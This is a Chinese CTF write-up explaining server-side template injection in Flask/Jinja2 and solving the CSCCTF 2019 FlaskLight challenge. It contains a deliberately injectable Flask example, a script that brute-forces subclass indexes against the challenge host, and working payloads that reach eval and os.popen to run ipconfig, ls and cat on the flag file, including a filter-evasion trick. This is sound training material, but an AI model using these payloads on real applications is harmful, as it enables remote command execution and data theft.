一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI

目录

SSTI

无二次渲染的示例

存在二次渲染的示例

漏洞复现

[CSCCTF 2019 Qual]FlaskLight


做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是太少了,额也有可能是大佬觉得没有必要讲,不过在这里还是记录一下自己的一些解题思路,一方面也是防止自己忘记。文章会以简单容易理解的方式去理解SSTI的成因,不会设计一些复杂的问题但是还是需要拥有一些python的基础知识的,如有错误,欢迎指正

SSTI

服务器端模板注入(Server-Side Template Injection)

漏洞的主要产生点就是网页模板中的变量被二次渲染时造成的漏洞,服务端接收了用户的恶意输入后,在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,如信息泄露,命令执行,获取权限等等

JinJia模板引擎特点

  • {{ ... }}:装载一个变量,模板渲染时,会使用传进来的通命名参数将代表的值替换

  • {% ... %}:装载一个控制语句

  • {# ... #}:装载一个注释,模板渲染的时候会忽视这个值

无二次渲染的示例:

# 无二次渲染
from flask import *

app = Flask(__name__)


@app.route('/')
def index():
    str = request.args.get('s')
    html = '<h1>welcome</h1></br></p>{{str}}</p>'
    return render_template_string(html, str=str)


if __name__ == '__main__':
    app.run()

以上代码中见到的@app.route(’/’),相当于一个路径,设置后,在url后面加上/user就可以访问了,

每一个route后面都必须由一个def函数存在

在pycharm中右击运行

右击运行,以get方式传入参数s,s的值为{{2*2}}

访问pycharm开启的URL,如下图,{{2*2}}被打印,代码没有被执行

存在二次渲染的示例:

# 有二次渲染
from flask import *

app = Flask(__name__) 


@app.route('/')
def index():
    str = request.args.get('s')
    html = '<h1>welcome</h1></br></p>%s</p>'%(str)
    return render_template_string(html)


if __name__ == '__main__':
    app.run()

右击运行,用get方式传入s的值,{{2*2}}代码被执行,2如下图,乘以2的结果为4

例如:{{}}在Jinja2中作为变量包裹标识符,在渲染的时候会把{{}}包裹的内容当做变量解析替换,

比如{{2*2}}会被解析成4

如果在某个页面中找到了如上所示的SSTI漏洞,那么我们可以利用这个注入点,通过s传参,执行

模板引擎的控制语句以及命令

基本思路:利用python中的魔术方法找到所需的函数

当然凡是使用模板的地方都可能会出现SSTI 的问题,SSTI 不属于任何一种语言


漏洞复现

''.__class__  

''的类型是str类型,调用__class__,指向变量所属的类,格式为"变量.__class__"

''.__class__.__mro__ 

由于''为str类型,通过str寻找当前类对象的所有继承类,当然__mro__不是唯一的方法,如__base__同样也可以寻找,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找 

''.__class__.__mro__[1].__subclasses__()  

 __class__.__mro__以元组形式返还了两个关系,<class 'str'>和<class 'object'>,我们通过索引获取后面的object,再通过__subclasses__找到object对象下的所有子类,当然同样可以通过__class__.__base__.__subclasses__()寻找

这里我利用的是os模块,也就是subclasses()的第133个索引位,如下图

''.__class__.__mro__[1].__subclasses__()[133]

通过索引获取<class 'os._wrap_close'>

''.__class__.__mro__[1].__subclasses__()[133].__init__

通过__init__初始化类,查看是否有重载,出现wrapper说明已经被重载了 

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__

通过__globals__寻找所有的方法及变量及参数 

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']

以上找出了很多的全局变量,以字典的形式输出,这里用'__builtion__'做演示 

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']

以上全局变量包含eval,利用eval再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选 

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")

命令执行ipconfig
简单来说,和SQL注入很像,循环渐进,找到库名,找表名,找到表名找字段等等,SSTI先找到父类,然后找父类下的子类,初始化后看看是否重载,再通过全局变量找到特定函数进行执行命令 


[CSCCTF 2019 Qual]FlaskLight

这道题的漏洞点非常明显,一个是通过题目其实可以猜到这是一道SSTI的题型了,源码也给出了

提示,通过get类型,以search传值

既然目标明确了,那么首先调用class

/?search={{''.__class__}}

通过str寻找当前类对象的所有继承类

/?search={{''.__class__.__mro__}}

以元组形式返还了三个关系,<type 'str'>, <type 'basestring'>和 <type 'object'>,通过索引获取后

面的object,再通过subclasses找到object对象下的所有子类  

/?search={{''.__class__.__mro__[2].__subclasses__()}}

那么问题来了,眼前有这么多的子类,如何知道哪一个可以被我们利用并且成功命令执行呢,在第

一个例子里,我们通过globals全局变量获取了builtins,利用eval成功命令执行,那么是否可以编写

一个脚本批量寻找builtins,利用返回的状态码判断哪个子类可以被我们使用  

import requests

url = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81'
for i in range(1, 100):
    payload = "/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
    newurl = url + payload
    res = requests.get(url=newurl + payload)
    if 'builtins' in res.text:
        print(newurl)
    else:
        pass

执行结果如下:

那么,payload就显而易见了,利用builtins的eval执行任意命令

/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

查看flag,一开始我还以为flag在app.py文件里,以为flag形式改了,真的无语

/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值